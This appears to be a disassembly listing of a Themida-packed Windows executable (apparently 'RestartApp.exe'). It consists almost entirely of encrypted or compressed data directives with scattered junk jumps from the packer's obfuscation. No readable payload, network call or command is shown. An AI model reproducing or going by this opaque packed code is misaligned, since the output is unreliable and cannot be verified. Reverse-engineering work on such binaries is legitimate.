		dd 3968B5FFh, 0CC08E900h, 4A6A8052h, 9EF31C51h,	0A8D2922Eh
		dd 0C4D02DF4h, 0F6170B18h
		dd 378701CFh, 28CAF1h, 11047A24h, 1038FC31h, 169B8013h
		dd 36FA779Eh, 66E200FDh, 1C65CC58h, 9C9853DAh, 45D4D613h
		dd 0C076F092h, 0BDC4E1h, 0DAFBC159h, 78A7853Eh,	4B32AD00h
		dd 0BC08E21h, 0B8B94867h, 129F9426h, 9208FCC5h,	4092CF0Fh
		dd 0A15B01Ah, 8ED0036h,	656CF5E6h, 64975542h, 9798A174h
		dd 394D9070h, 48035EAh,	3A59E085h, 480506E5h, 0BF4F2F96h
		dd 6C8000E8h, 0CBB92D93h, 43DD400Eh, 0F220216Eh, 70B6D9h
		dd 0A2F82CF7h, 0B353C07Ch, 4C9F55DEh, 4B8000D4h, 54D9EC01h
		dd 0E548BD77h, 0DF520590h, 1C834CB8h, 9F44BFB4h, 2E808CACh
		dd 0A68ECC4h, 1A97D003h, 981F23FFh, 0FE4364A2h,	0C7D30026h
		dd 8A6A69B6h, 1825C4E3h, 2684D1D9h, 59D240A0h, 0CB028424h
		dd 0CCFFED9Fh, 7EC51D0h, 9073512Fh, 0E7D2C48Bh,	46269D2Fh
		dd 8E9044F0h, 29B94904h, 0F8C3A7F2h, 51EC9287h,	0D7430FA8h
		dd 0A6B5F1C0h, 57738E2Eh, 0D5809A00h, 300DC107h, 4B5E0978h
		dd 74C84627h, 0B05CA33h, 0AF7DE8DCh, 0F40308BDh, 61D73DF9h
		dd 0B6D806D0h, 66EA7500h, 45F5C4A4h, 228E4E26h,	0AC7E6104h
		dd 0A4508A11h, 6EC80085h, 5D2ABCA4h, 7CB1F2A8h,	1F98C981h
		dd 0BF60894Ah, 0B522015Bh, 0F630D1A2h, 0C539C4B8h, 0B8023F4Bh
		dd 573EDE8Bh, 0ADE86898h, 5D28E897h, 0B75B003Dh, 513026E9h
		dd 2CB0044Ch, 641A6625h, 6AC0F12Ch, 0B5810009h,	0EE5E4C36h
		dd 72009CE5h, 0A35764D1h, 1C9824A2h, 0C1D55606h, 0F0071B9Eh
		dd 729BC528h, 0C70458D0h, 3720DD2Ah, 7E37D8Dh, 0A8A5540Dh
		dd 5627B529h, 1CD8F318h, 44C1722Eh, 0BCAAAEB6h,	146E5C20h
		dd 8CECDEC5h, 0DD009CC9h, 4A87064h, 0CA17FA26h,	4AE14B00h
		dd 2CB8C633h, 0B7ED2Ah,	0CE8F983Bh, 1C5DE85Bh, 99141814h
		dd 17AD9D0h, 0FAB567C4h, 2AF040B2h, 9AAA7420h, 0CB2E00B8h
		dd 53FD4594h, 0AB014D25h, 41CC2177h, 9EC56D6h, 1A8C3DEDh
		dd 0E529F400h, 0E784B55Eh, 0C01CC54Ch, 70CE965Bh, 0B8E35E61h
		dd 3638B6h, 7EB3CADEh, 9DCD6AD5h, 751EE4C4h, 0C2000E10h
		dd 70151B81h, 418D030Ah, 2FCA6B26h, 616AD4B0h, 32670C0Ch
		dd 2C45617h, 186CF7B5h,	40D44233h, 0B7CA834Fh, 0EE3A883Bh
		dd 24220037h, 9EB05768h, 0D4046EDDh, 7F04FE53h,	440068F9h
		dd 31A790B2h, 0A1045ABFh, 0E2B02CF4h, 0EF48Ch, 3673A659h
		dd 44233295h, 0E575F600h, 1E1CBB3Ah, 0BAE83178h, 0E8D55B78h
		dd 4200B837h, 558924C4h, 7FF015A2h, 1DE6001Bh, 872A0FC9h
		dd 0E103A458h, 3E94A6CDh, 68380056h, 0E02D89A3h, 2E3DE75Ch
		dd 0A5670376h, 0B7ED1FE1h, 0A680B8A7h, 22E45EE6h, 6F302A2Eh
		dd 80417947h, 6B3E005Fh, 99E574CFh, 3B001BEFh, 36557954h
		dd 733D3321h, 0EC8C7553h, 34E318BEh, 0B8EA493Fh, 1E755500h
		dd 916C7466h, 92F087h, 0D07BA2FDh, 821451E9h, 96013675h
		dd 0E427F3Bh, 408037B5h, 0BCF9C44h, 98068418h, 0D78B32ACh
		dd 506C50D4h, 0DF173FE6h, 8736A900h, 0F1F7CF41h, 8D6B203h
		dd 0D18C6705h, 9187BACBh, 0A31C5137h, 11124F6Ch, 0E01FDB90h
		dd 0B9B57800h, 311969Dh, 95268F87h, 287857CFh, 0BA4B7500h
		dd 73EA74C8h, 3970E3D7h, 0D4F707C5h, 0B00586CAh, 0F9CC48A5h
		dd 23FA7900h, 0E143DCBEh, 0DEF400F8h, 4B57F5D7h, 0BC606750h
		dd 0C2B25DE1h, 381926A0h, 0C09037A5h, 76645EDBh, 0BE12740Fh
		dd 0D4C6200Fh, 282EDAB6h, 114396Fh, 97528F3Fh, 0BEBECAFEh
		dd 75BC00A9h, 19E2583Ch, 15E07E45h, 8033948Ch, 0FA13520Eh
		dd 0F9822960h, 4E78019Eh, 38B30A00h, 0EA1479DBh, 7F2E0C8Ch
		dd 0AAA93F39h, 0C7572F00h, 0EE6BD7C8h, 686C4C01h, 0F8EA8200h
		dd 0B7AB53F2h, 5C43306h, 894C56h, 17E42CEDh, 980A79BEh
		dd 2D99200h, 3BF90EB5h,	54577548h, 5A84B3h, 0D980DDCCh
		dd 0D2141B15h, 42637200h, 7C41B412h, 7FB618CBh,	402F58D4h
		dd 7FE99C0h, 3AF1BBAh, 0CB358B4Dh, 7CF83A1Dh, 4300BC7Dh
		dd 0BD22FA5Dh, 7A3CDAh,	0F66C3659h, 0D7B05FD5h,	0B8715118h
		dd 0A861181h, 4194C59Ch, 0CD218094h, 0A5E5F54Fh, 0E71D7503h
		dd 0C60CB7h, 41474431h,	0EC3C649Dh, 7A9663Ch, 185BAD0Dh
		dd 451CB070h, 0ED26021Eh, 95778F2Bh, 3C00AC44h,	594E81F7h
		dd 0EF2529h, 0D088A60Fh, 0B1A83F7Eh, 9D650403h,	0D039563Ch
		dd 90B7F61Ah, 3EB40162h, 8473E17Bh, 8900DF0Dh, 862BF298h
		dd 0E6DEEF1Ch, 5060A095h, 199300B5h, 3C8BA87Ch,	6D48906Fh
		dd 43270128h, 0ECD536D8h, 4C752424h, 0A80F1CA0h, 5540521Ch
		dd 617EB1AAh, 0CF37AA90h, 771029D6h, 1D0E3F11h,	45E640FEh
		dd 40456CA9h, 0BACE05F8h, 0AF0374C7h, 640B92Fh,	62CAC0F8h
		dd 0B58307EBh, 0E603D03Dh, 420051E8h, 5292365Ch, 0FC5AD3h
		dd 0B819485Dh, 2E6E1F13h, 9929E763h, 0A8A7B931h, 304714C0h
		dd 0E04E054Eh, 8006FC7Ah, 516CBE13h, 311B0089h,	5362B968h
		dd 543DEC4Ch, 0ABB60F06h, 52C0A275h, 52C0446Eh,	0F8019893h
		dd 0C024FBC4h, 0E303CC98h, 2E76BE00h, 0AECFE982h, 8CE117D1h
		dd 0F971033Ch, 39003094h, 376FC09Ch, 7CFA11h, 4504E5B9h
		dd 2821B51Dh, 0CC3CA53Bh, 29CDC068h, 5C6DC6Fh, 0FC0302F8h
		dd 115B80DEh, 5B003E9Dh, 4BCA6E7Bh, 0C64D55E8h,	0A09E36D1h
		dd 26BDF109h, 432A00D8h, 5817B992h, 610CCA60h, 6E913694h
		dd 1E2C3C07h, 0AEC07755h, 71890B74h, 0F1A0000Ah, 0F7238811h
		dd 3A01B319h, 51E78D68h, 0A183B667h, 16C0E60Bh,	0DE8CDD80h
		dd 0A3841100h, 47533C97h, 2BB609BCh, 0CC0060CDh, 0D76F6D0Dh
		dd 1C0AF8F0h, 0D8D3D138h, 0B7646280h, 7A16E554h, 241D7741h
		dd 41DC30CFh, 0FFDBE8ACh, 43490AA8h, 0E3C29D2Dh, 41D9C2DFh
		dd 0D4303A00h, 99C76169h, 5154B0CAh, 80ED2F88h,	6E7F6C69h
		dd 188A0217h, 0A8DA8C8Eh, 0CB027ABFh, 2EE91486h, 6C8CA332h
		dd 5410046h, 9981BD1h, 36FC2D17h, 7AA26D00h, 0A1B4CE50h
		dd 0A7560E35h, 0FF07417Ch, 7214C251h, 11869040h, 4718BE24h
		dd 0F0DB3706h, 84680389h, 0CA0E28B2h, 0FE1AB11Ch, 8E9EAAC0h
		dd 0BED127h, 78BDEFFBh,	4016B802h, 6450FC13h, 35932821h
		dd 0D200A9BBh, 91B021F0h, 620112F5h, 0E6541F38h, 24220C88h
		dd 6D207907h, 9ACEB025h, 0A0B0D303h, 0E7055B1Eh, 6B2E1C85h
		dd 6F87F480h, 23F9C35Ah, 0FA0B1BDh, 771F7AE9h, 36CD66BFh
		dd 3C3021D3h, 1E43022Eh, 0BACC98FAh, 507638C0h,	8338684Ch
		dd 655B9CAh, 9495CC31h,	0ED1CB924h, 0EB43A6D9h,	80966731h
		dd 3CE585h, 0A9F1B5D3h,	68F4E154h, 0A1163CB8h, 684AD833h
		dd 0BC11847Dh, 3881C12h, 0B708446Eh, 0C07E2028h, 2FF1AC16h
		dd 0B0E04827h, 459BBAh,	2877FF86h, 32D26B43h, 0A5002F74h
		dd 0B8E80D5Fh, 7319851Ch, 524B0620h, 69B10CA3h,	8A98300Fh
		dd 80B7C04Fh, 6D18544h,	6CF3E443h, 4100E158h, 2021BE63h
		dd 0EAE14F69h, 0E2F3026Dh, 6FAA66C1h, 650774C4h, 0C530883Ch
		dd 0D032C0F3h, 4CB5627Eh, 887CFC3Ah, 6100242Ch,	0E39A34D6h
		dd 12710EDBh, 21DC555h,	2EF9DC08h, 0FD00ECC4h, 64247C82h
		dd 3AA4803Dh, 5CDC8821h, 0DB36AD08h, 7AE45680h,	2E16Ah
		dd 4311BDE9h, 4497E264h, 35900C12h, 68294830h, 857C9Fh
		dd 49209A3Dh, 0A5260EEh, 0EE18000h, 0D9E88AEh, 65B888AFh
		dd 2D1CA9E8h, 0B441DAF5h, 0CB0D7FECh, 0E8FA2180h, 0A6ED9BDh
		dd 7B099C00h, 0DB285FC6h
		dd 6CCA0072h, 0E9EF8B9Ah, 88184662h, 9039AE0Dh,	0EA800757h
		dd 60CB756Dh, 24BC1864h, 99501C7Dh, 0B6057AF8h,	30AC6973h
		dd 801488h, 0C0552D2Ch,	367D0B28h, 0E2BC0EFh, 0FF59C863h
		dd 4B9AA838h, 7DB4C59h,	0AC2A8000h, 0C8B5179Eh,	2C2EC575h
		dd 0F880A85Ah, 0E389D784h, 0C0490C62h, 5A49B00Ch, 2B5E4B0Eh
		dd 0E4E2407Fh, 4CD7095Ch, 0AB099CB8h, 0D88005C8h, 0CC4A2E83h
		dd 8700A57Ch, 896C6FA7h, 75811Dh, 7ADB6625h, 11184A4Ch
		dd 4E8B848h, 71504E2Eh,	0B060B4C9h, 0CC0C30C1h,	75791111h
		dd 7448F82Eh, 0E9A14E00h, 8F52E7h, 3CF53268h, 6BCA662h
		dd 13BD2E00h, 93C73342h, 0CCD5001Ch, 0B6652F04h, 8F02028Ah
		dd 91FE7908h, 6F9D81D3h, 9C243B2Eh, 1EE302FCh, 6D2DCF72h
		dd 580030C4h, 0C1456A22h, 2E21F7BFh, 136993E7h,	5AA807C0h
		dd 553D1050h, 7401CA5Dh, 0E0CD602h, 3A105256h, 0EEECF217h
		dd 2C57D203h, 848B864Dh, 3B3834C1h, 2368024h, 0B2A8A921h
		dd 7C640B0Eh, 561600Eh,	4F7B8770h, 3104C0AFh, 1738A828h
		dd 88E5D96h, 0EE80EC04h, 54709172h, 1C0F4CD8h, 0B4CB922h
		dd 0FEA7068Dh, 4C995355h, 2A000728h, 820D9084h,	420026B1h
		dd 3B8310C5h, 94752C6Dh, 1C241F0h, 551CF874h, 0DEEDF900h
		dd 0D482CD1Eh, 7C3B0020h, 7AE3886Eh, 0E4602E72h, 0C9A3B991h
		dd 0B8214FA5h, 8A700F9h, 0F6661781h, 1CD89005h,	62D636ACh
		dd 80840E48h, 0C1AD1AF1h, 406B02F8h, 2FAC5DEEh,	160FD490h
		dd 440142EEh, 0E3BE5FC0h, 0A4503C2Eh, 2EFF1CE1h, 40BC6F84h
		dd 20B49C86h, 0ED668200h, 2FB2B0F7h, 0F63502C2h, 69FCAEA6h
		dd 88D5C6C3h, 0B800A4D0h, 317E874Ch, 7B7A5EBEh,	5250007Bh
		dd 7484FD39h, 0C0C2DE1Ch, 51C0D4A6h, 0B2CC007Ch, 0CE4C1A11h
		dd 7AAADB00h, 8B01A2FBh, 7F351DC4h, 83E90421h, 0E09487FEh
		dd 17B8856Ch, 2FA59C0Ch, 5CBF81EAh, 970EDD06h, 6540B1C5h
		dd 0F01D04F1h, 0D8381912h, 1282FC24h, 16C5AB0h,	8F1D62CCh
		dd 80CD0B02h, 83CE6391h, 0EE823A10h, 0EE130087h, 74754807h
		dd 70F5AF7Ch, 9139E954h, 85551F24h, 1767FC42h, 7256h, 0D4C58AADh
		dd 0FB28AFE7h, 24BB10Bh, 9F3498E5h, 77D5789Bh, 14E10CABh
		dd 0A8E0FF79h, 4EB2CA1Ah, 1CE01849h, 0F2A20023h, 5EB4171Ah
		dd 86002B45h, 0DD6C666Dh, 7355B8h, 945314F7h, 0E4D37D98h
		dd 0E92EEF18h, 7EC78071h, 0BCBA2C91h, 0DCF2006Fh, 3E1AC91Ch
		dd 32D55D1Dh, 6700706Ch, 0F633B79Fh, 1DDE0066h,	78D48812h
		dd 4F53CB74h, 94F81C9Ch, 2CE911F0h, 6248014Bh, 5DDA01B7h
		dd 793CC8B6h, 0A753F200h, 22B44642h, 803C9E56h,	0F5F03620h
		dd 30960123h, 0FFA09841h, 5819D3E0h, 0E5800C0Eh, 0EBBFE3ADh
		dd 0BB2FC738h, 7B900DDh, 45DF38BBh, 50FF0B9Dh, 0A8819B1Ch
		dd 70C46261h, 8F0FAA29h, 806F67BCh, 0C83A5D7h, 0C9CA00E9h
		dd 7D55770Eh, 8F78A0BDh, 0D64480B0h, 4C910Dh, 4624B69Bh
		dd 0D701EBA1h, 900110A6h, 0EF60EC5Ch, 0DD0802D4h, 0E2FAFED6h
		dd 903EEC98h, 0A8805100h, 8CF832F3h, 0E910022Eh, 82BA3995h
		dd 7074F841h, 0B86EA4h,	6CCFCD14h, 72080F8h, 76E8119Fh
		dd 32DC0028h, 6B5B3CDBh, 0C09E9519h, 0FCA70183h, 0F8738814h
		dd 59B430CAh, 6E10D741h, 291BD914h, 0C0332EC0h,	2C436F16h
		dd 0C01E32BEh, 14685D49h, 84BB488Bh, 38E3116h, 0E5394E5Ch
		dd 0D76CC900h, 0F8AAA8D3h, 0D07F0013h, 7AB9D436h, 737145E0h
		dd 258044B9h, 7637096h,	1B8709Bh, 1682B313h, 220D2B0Bh
		dd 78439ACh, 2C59E95Eh,	11C83240h, 8E520E9Fh, 0BAE05021h
		dd 76565FD7h, 78CB5B0Ah, 5501F5DFh, 157C127Fh, 5C5041C0h
		dd 0A483EC6Fh, 9BA83DB2h, 241290F9h, 4C9055F7h,	0BF82F4h
		dd 6E564F2Ah, 0EE7BACF9h, 12535522h, 92064Dh, 0B1D1AECFh
		dd 65E09E91h, 0CB466E00h, 36E91186h, 0B2E1C338h, 45F7681Ah
		dd 9E10CC41h, 0EB203F1Eh, 629D9340h, 0A0978Bh, 47B85114h
		dd 9065C77Ch, 91ED8000h, 74FB58F5h, 33E7425h, 53F48887h
		dd 7A9B8A51h, 5030A480h, 0ABEFEB00h, 1B87D7DCh,	47A00077h
		dd 37A8217h, 0B303898Fh, 0EAD0FA94h, 2959D03Bh,	31E51FECh
		dd 6448F099h, 67071BF5h, 5E6AA813h, 1F1987C6h, 80C35CBFh
		dd 0EE8F1EBh, 2F00628Eh, 2174177Eh, 308C93AFh, 0D906472h
		dd 130020FDh, 7736B4C6h, 0C84A7EDh, 82994292h, 33008551h
		dd 0BC4A12E3h, 31A9760h, 849C35D4h, 491C71EFh, 7080B0C4h
		dd 61F050A8h, 0E897F39h, 86EC7295h, 0D02975ACh,	0A49E000h
		dd 8C2B7123h, 3019C184h, 0DB6A9A59h, 0B29D3AF8h, 4AFDD600h
		dd 274635D1h, 1A440E08h, 0F465D984h, 6260038Bh,	98A050E3h
		dd 0C1294AE4h, 0FF7F01CCh, 0B0FDh
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_54B46B:				; CODE XREF: start:loc_4E1265j
					; DATA XREF: start:loc_4E1086o
		jmp	loc_54E900
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dd 0A2A00Fh, 0Dh dup(0)
		dd 76E9h, 521E0A13h, 3 dup(0)
		dd 0FF4D78DDh, 7D1h, 5 dup(0)
		dd 6764h, 2 dup(0)
		dd 0FFFC0608h, 0
		dd offset word_5875A2
		dd 8 dup(0)
		dd offset byte_5A3033
		dd 0A270C4h, 4 dup(0)
		dd 77E6D706h, 0
		dd 701C2719h, 0
		dd 88h,	385FF68h, 0
		dd 0B4h, 3 dup(0)
		dd 1FDB0000h, 0
aB:
		dw 3Eh
		unicode	0, <¡>,0
		align 4
aZk		db '§Š',0
		align 4
		dd offset loc_5A52DF
		dd offset byte_5A57ED
		dd 0
		dd 6764h, 3 dup(0)
		dd 77E82764h, 3	dup(0)
		dd offset loc_54F6B0
		dd 8 dup(0)
; ---------------------------------------------------------------------------
		dec	ebp
		retn
; ---------------------------------------------------------------------------
		dw 0C9Fh
		dd 18h dup(0)
		dd 7FFE0304h, 3	dup(0)
		dd 0A6481E57h, 77D4C96Ah, 0
		dd offset dword_5CFE0C
		dd 2 dup(0)
		dd 2F678DFFh, 4	dup(0)
		dd 89971739h, 0Bh dup(0)
		dd 0FFA63332h, 4 dup(0)
		dd 6CF8h, 3 dup(0)
		dd offset loc_59442B
		dd 0A29499h, 0
		dd 30DFh, 77D4C96Ah, 0
		dd 0FFFFFFFFh, 80h dup(0)
		dd 0FFFFFFFEh, 2 dup(0)
		dd 3E95DD3Ah, 0
		dd 77E79D5Bh, 77E82168h, 0A269DDh, 2 dup(0)
		dd 0FFFFFF68h, 0A280105h, 58B1D1h, 58E45Ah, 0A209F7h, 3	dup(0)
		dd 0ACh, 9 dup(0)
		dd offset word_598B0A
		dd 3 dup(0)
		dd 7FFE0304h, 0
		dd 0FFFFFFDEh, 8Ch, 0FFFF8FC4h,	2 dup(0)
		dd 0A2FA56h, 5BBDCBh, 4	dup(0)
		dd 7FFE0304h, 5	dup(0)
		dd 130CF171h, 2	dup(0)
		dd 7FFE0304h, 0Ah dup(0)
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0A1h, 65h, 1
; ---------------------------------------------------------------------------
		jmp	short loc_54BA19
; ---------------------------------------------------------------------------
		dw 40h
		dd 7 dup(0)
		dd 0FA443000h, 580BE8h,	77DD189Ah, 3 dup(0)
		dd 0E663AF15h, 7FFE0304h, 2 dup(0)
		db 15h
; ---------------------------------------------------------------------------


loc_54BA19:				; CODE XREF: Themida_:0054B9D0j
		db	65h
		pop	eax
		add	[eax], ch
		retf
; ---------------------------------------------------------------------------
		dw 8052h
		dd 2 dup(0)
		dd 12FFA4h, 0
		dd 4CB65003h, 3	dup(0)
		dd 77F7EBB3h, 6, 7 dup(0)
		dd 0F1E21A7Ah, 0
		dd 0A33268h, 7FFE0304h,	3 dup(0)
		dd 0A2915Bh, 2Dh, 0A25E2Eh, 0
		dd 0EF7396E8h, 6 dup(0)
		dd 35000h, 4 dup(0)
		dd 0FEF5A728h, 0Ch dup(0)
		dd 7FFE4F28h, 2	dup(0)
		dd 0AEC50B6Eh, 0
		dd 1D2FFB0h, 0FFA43FC4h, 2 dup(0)
		dd 8001FCFCh, 385FF68h,	0D1A6568Dh, 57FA51h, 54C824h, 2	dup(0)
		dd 1C032h, 97D8EA5h, 5BB8B0h, 54F2DEh, 58DC4Ah,	6 dup(0)
		dd 0BF0654Dh, 0
		dd 0C246DA44h, 54CB8Ch,	7 dup(0)
		dd 3038h, 6 dup(0)
		dd 0A269DDh, 6 dup(0)
		dd 2, 6	dup(0)
		dd 0A29393h, 77E776CDh,	3 dup(0)
		dd 74736552h, 41747261h, 652E7070h, 6578h, 0
		dd 8001FCFCh, 9	dup(0)
		dd 99AEh, 3 dup(0)
		dd 1, 9	dup(0)
		dd 12FF60h, 77E7AC5Eh, 9 dup(0)
		dd 84A7h, 2 dup(0)
		dd offset loc_586443
		align 10h
		dd 7FFEFFFFh, 12FFA4h, 7FFE0304h, 5 dup(0)
		dd 0A8h, 0Eh dup(0)
		dd 0A4h, 2 dup(0)
		dd 0E569h, 8AA7h, 0
		dd 0A6A5E7h, 11h dup(0)
		dd 110000h, 4 dup(0)
		dd offset dword_5C4CC0
		dd 0
		dd offset sub_401000
		align 10h
		dd 0FFFFFFFFh, 2 dup(0)
		dd 77E82FE8h, 4	dup(0)
		dd 0B00000h, 0
		dd 0D3412004h, 0Ah dup(0)
		dd offset loc_57FCAA
		align 10h
		dd offset loc_57AE66+2
		align 8
		dd 6764h, 7 dup(0)
		dd 77E75CB5h, 0
		dd 0A4B134h, 4 dup(0)
		dd 8A92h, 4 dup(0)
		dd 30DFh, 0
aFm:
		unicode	0, <F¬>,0
		align 10h
		dd offset loc_5D196A
		dd 4 dup(0)
		dd 0A269DDh, 0BAD46B5Ah, 5 dup(0)
		dd 25C0000h, 6 dup(0)
		dd offset word_5A686A
		dd 0
		dd 0C7139DBBh, 7C1F0861h, 77F51B2Bh, 7FFE0304h,	3 dup(0)
		dd 0FA3AF4A2h, 0
		dd 0FFFF47FBh, 0A23145h, 4 dup(0)
		dd 0A2A00Fh, 2 dup(0)
		dd 77E7C785h, 4	dup(0)
		dd 3F9F8h, 14h dup(0)
		dd 385FF68h, 0E1DE586h,	33050552h, 5 dup(0)
		dd offset loc_5933FC+3
		dd 0
		dd 0FBD3h, 2 dup(0)
		dd 0FFFFFFFFh, 5 dup(0)
		dd 0A97A6D2h, 2	dup(0)
		dd 0F7405741h, 3 dup(0)
		dd 2, 3	dup(0)
		dd 0FFFF912Ch, 8 dup(0)
		dd 25C0000h, 3 dup(0)
		dd 5B318BF1h, 4	dup(0)
		dd 80h,	6 dup(0)
		dd 7FFE0304h, 59BD8Eh, 0D0987289h, 7 dup(0)
		dd 0A9C530DFh, 2 dup(0)
; ---------------------------------------------------------------------------
		daa
		jns	short loc_54C08B
		retf
; ---------------------------------------------------------------------------
		dd 3 dup(0)
		dd 0A1D554h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_54C08B:				; CODE XREF: Themida_:0054C075j
		add	[edx-53h], al
		pop	ecx
; ---------------------------------------------------------------------------
		db 0
		dd 7 dup(0)
		dd 3CA00h, 0
		dd 0F6052184h, 0
		dd 0FD3CA2A0h, 8 dup(0)
		dd 1, 54EE9Dh, 0
		dd 0A3F45D88h, 0
		dd 0E1014h, 5 dup(0)
		dd 385FF68h, 0
		dd 7FFE0304h, 57FCFAh, 77E776CDh, 20h dup(0)
		dd offset loc_586443
		align 8
		dd offset byte_5776CD
		dd 0FFA3ED3Ch, 5A083Ch,	2 dup(0)
		dd offset word_5A7CDA
		dd 2 dup(0)
		db 0CCh
		db 5Eh,	0DDh, 77h
		dd 2 dup(0)
		dd 77E78B82h, 2	dup(0)
		dd 6601D640h, 0
		dd 77E7A19Fh, 0
		dd 77E7A5FDh, 2	dup(0)
		dd offset loc_5BBC43
		dd 9 dup(0)
		dd 1, 2	dup(0)
		dd 50ED5413h, 76B41B40h, 0
		dd 3313EF50h, 2	dup(0)
		dd 21212121h, 9280h, 9A11E174h,	0
		dd 960F502h, 0Ch dup(0)
		dd offset dword_5CFE0C
		dd 0DCh, 0E225F9E5h, 7 dup(0)
		dd 0A269DDh, 5 dup(0)
		dd 385FF68h, 0
		dd 77E7C486h, 0
		dd 4000A29h, 0
		dd 0FFFFFFFEh, 4 dup(0)
		dd 0A9C530DFh, 77E793EFh, 4 dup(0)
		dd 0A0h, 0EC5h,	59AD16h, 0
		dd 5503A96Ah, 8	dup(0)
		dd offset dword_5BCB08
		dd offset dword_59AE20
		align 10h
		dd 0A31564h, 0
		dd 7DBD0CEDh, 2	dup(0)
		dd 457A7h, 89CBD3CFh, 0
		dd 59Eh, 2 dup(0)
		dd offset byte_5C272D
		dd 17h dup(0)
		dd 8273B12Ch, 0
		dd 77F50000h, 6	dup(0)
		dd 0A49BACh, 3 dup(0)
		dd 76F8h, 0
		dd 0AC5A1034h, 2 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_54C4B5
; ---------------------------------------------------------------------------
		align 4
		dd 9 dup(0)
		dd 0A269DDh, 0A1B168h, 17h dup(0)
; ---------------------------------------------------------------------------
		cmpsb


loc_54C4B5:				; CODE XREF: Themida_:0054C424j
		setalc
		sub	al, 0ACh
; ---------------------------------------------------------------------------
		dd 5 dup(0)
		dd 0A22292h, 0FEF4C5B6h, 0FFA2E8A1h, 829A3E7Eh,	4 dup(0)
		dd 0A255D1h, 3 dup(0)
		dd 0DF7CDB0Ch, 0FFFF9C80h, 8 dup(0)
		dd 6764h, 0
		dd 0E6B5E11Bh, 54CB8Dh,	1EF8h, 0FB592B42h, 2 dup(0)
		dd 2430000h, 0
		dd 18D6D51Ah, 18h dup(0)
		dd 2D66h, 7FFE0304h, 24242424h,	2 dup(0)
		dd offset dword_457444+29DBFh
		dd 0
		dd 144628h, 4 dup(0)
; ---------------------------------------------------------------------------
		jmp	near ptr byte_54C617
; ---------------------------------------------------------------------------
		align 4
		dd 5 dup(0)
		dd 27BDBBF7h, 2	dup(0)
		dd 0C73FB831h, 57AE68h,	0
		db 3 dup(0)
byte_54C617	db 0			; CODE XREF: Themida_:0054C5E0j
		dd 0Ah dup(0)
		dd 0FFAB37DCh, 2 dup(0)
		dd 0FFFFA78Ch, 2 dup(0)
		dd 7Ch,	0FFFFFF30h, 7 dup(0)
		dd 78h,	4 dup(0)
		dd 0A47316h, 12FF54h, 4	dup(0)
		dd 7FFE0304h, 2	dup(0)
		dd 1, 2	dup(0)
		dd 0FFEEF4A1h, 3 dup(0)
		dd 6Ch,	4 dup(0)
		dd 25D0000h, 0
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 69h,	55h, 0
		dd 0
		dd 0D664ED67h, 2 dup(0)
		dd 77E7F880h, 0Dh dup(0)
		dd 0F303A3D5h, 3A0h, 7 dup(0)
		dd 0FFA8417Eh, 0B2A1FEh, 149Eh,	4 dup(0)
		dd 0A31560h, 0
		dd 10947C48h, 0Bh dup(0)
		dd 0AB8Bh, 5 dup(0)
		dd 5A397F5Dh, 7	dup(0)
		dd 77E75CB5h, 5	dup(0)
		dd offset byte_580023
		dd 2 dup(0)
		dd 94F1CB4h, 2 dup(0)
		dd 452294C5h, 2	dup(0)
dword_54C824	dd 368h, 124AF0h, 0Bh dup(0) ; DATA XREF: Themida_:0054CD88o
					; Themida_:0054CF70o
		dd 1DE072C8h, 7FFE0304h, 5 dup(0)
		dd 8001FCFCh, 3	dup(0)
		dd 19h,	0DBA7D352h, 0
		dd 7FFE0304h, 3	dup(0)
		dd 1CE2A81h, 0
		dd 385FF68h, 77E75CB5h,	3 dup(0)
		dd 77DD23D7h, 5883D1h, 0
		dd 0B90000h, 4 dup(0)
		dd 0FFFFCC53h, 35Bh, 2,	7 dup(0)
		dd 77E60000h, 2	dup(0)
		dd offset loc_584E21
		dd 0A26CB0h, 0
		dd offset dword_57D000
		dd 0Ch dup(0)
		dd 0A1003Eh, 6D656854h,	616469h, 1Ch dup(0)
		dd 0FB57BA34h, 4 dup(0)
		dd 58h,	2 dup(0)
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		dd offset word_591D5A
		align 4
		dd 45BAE2E8h, 3	dup(0)
		dd 0FA44B46Bh, 2 dup(0)
		dd 2, 3	dup(0)
		dd 2, 4	dup(0)
		dd 1, 2	dup(0)
		dd 0FED5BD02h, 0
		dd 77E805D8h, 3	dup(0)
		dd 129FE3h, 0A29C37h, 2	dup(0)
		dd 2C66B16Ch, 7	dup(0)
		dd offset loc_586443
		dd 77E77963h, 2	dup(0)
		dd 0A68D53h, 14E8h, 4 dup(0)
		dd 77E776CDh, 0
		dd 77E78B82h, 6376C648h, 0
		dd 0A269DDh, 4 dup(0)
		dd offset dword_54E3C8
		dd 3 dup(0)
		dd 1899h, 3 dup(0)
		dd offset loc_57AE66+2
		dd 7 dup(0)
		dd 77E77CB8h, 2	dup(0)
		dd 6764h, 0
		dd 0A269DDh, 2 dup(0)
		dd 0A2A00Fh, 3780h, 2 dup(0)
		dd 0E569h, 2 dup(22222222h), 0
		dd 0E877DC3Bh, 0
		dd offset dword_580304
		align 10h
		dd 1, 2	dup(0)
		dd offset loc_587720+1
		dd 63h dup(0)
		dd 77E776CDh, 0Ah dup(0)
		dd 77E80618h, 4	dup(0)
aKa8q		db 'kA8Q',0
		align 4
		dd 0Bh dup(0)
		dd offset dword_590440
		align 8
		dd offset dword_54C824
		dd offset loc_54EE9D
		dd 0
		dd 0A269DDh, 31h dup(0)
		dd 5FDCh, 1Dh dup(0)
		dd 7FFE0304h, 0
		dd 77E7A099h, 6	dup(0)
		dd 4, 3	dup(0)
		dd 7FFE0304h, 9	dup(0)
		dd 12FF5Ch, 3 dup(0)
		dd 2, 6	dup(0)
		dd 10B6B22h, 4 dup(0)
		dd offset dword_54C824
		dd 7 dup(0)
		dd 9Ch,	3 dup(0)
		dd offset loc_5CFCB9
		dd 1E2000h, 0Eh	dup(0)
		dd 0FFD5FEECh, 5 dup(0)
		dd 800086D1h, 9	dup(0)
		dd 80000h, 2 dup(0)
		dd 5CB10000h, 2	dup(0)
		dd 0FFFFFFFFh, 0
		dd 80581B81h, 2	dup(0)
; ---------------------------------------------------------------------------
		mov	ah, 13h
		retf
; ---------------------------------------------------------------------------
		db 0D7h
		dd 0Ah dup(0)
		dd 8A92h, 5 dup(0)
		dd 4FE8E415h, 5720F1h, 579B00h,	4 dup(0)
